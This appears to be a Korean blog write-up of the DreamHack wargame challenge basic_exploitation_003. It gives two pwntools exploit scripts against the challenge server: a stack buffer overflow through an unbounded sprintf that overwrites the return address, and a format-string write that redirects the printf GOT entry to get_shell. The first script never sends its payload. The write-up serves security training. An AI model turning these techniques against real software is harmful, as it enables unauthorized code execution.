소스코드
아키텍처 및 보호기법
설계
첫 번째 풀이) Canary가 존재하지 않고, 소스코드의 "sprintf(stack_buf, heap_buf)"에서 문자열의 길이를 제한하고 있지 않다. 따라서 heap_buf에 충분히 큰 값을 인자로 줘서 stack_buf로 bof를 일으켜 main 함수의 Return Address를 get_shell()의 주소로 overwrite 하면 될 것이다.
ex. heap_buf = "%156c"라고 하면, sprintf를 통해 stack_buf에는 "(공백 155개)+문자"가 들어가게 된다"
스택 구조
스택 구조 파악은 어렵지 않으니 디버거로 직접 해보기 바란다.
[exploit1(bof)]
from pwn import *
p = remote('host3.dreamhack.games', 13924)
payload = "%156c" + p32(0x8048669) # RET Address Overwrite
p.interactive()
============================================================================================
번외, 두 번째 풀이) sprintf를 이용해 printf() GOT를 get_shell()의 주소로 overwrite 한다.
printf() GOT = 0x804a010
get_shell() = 0x8048669
에서 상위 2byte는 같으니 하위 2byte만 바꿔주면 될 것이다.
실행 결과 printf의 인자는 첫 번째 인자부터 우리가 입력한 값을 가리키는 것을 볼 수 있다. 즉, 스택 구조를 참고했을 때 %1$ == [esp+0]이다. 우리가 format string bug를 이용할 sprintf 함수와 printf 함수의 인자 순서가 달라질 수 있지만, printf의 인자를 따라서 스택 구조를 다음과 같이 짜고 printf() GOT를 overwrite 하면 get_shell()을 실행시킬 수 있을 것이다.
우리는 각각 1byte씩 두 번 overwrite 하여 printf() GOT의 하위 2byte(a010)를 overwrite 해줄 것이다
get_shell의 하위 2byte를 1byte씩 끊어보면,
0x86 = 134
0x69 = 105
from pwn import *
p = remote('host3.dreamhack.games', 23764)
e = ELF('./basic_exploitation_003')
get_shell = e.symbols[b'get_shell'] #0x8 04 86 69
printf_got = e.got[b'printf']
payload = p32(printf_got) + p32(printf_got+1) + b"%97c%1$hhn%29c%2$hhn" # "ECHO : "(7byte)가 출력되고 있으니 0x69(105)-0x7을 해줘야 한다.
p.send(payload)
print("addr of printf_got:", hex(printf_got))
print("addr of get_shell():", hex(get_shell))
p.interactive()
'DreamHack: System Hacking > F Stage 10' 카테고리의 다른 글
basic_exploitation_002 & Format String Bug(개요) (0) | 2023.07.12 |
---|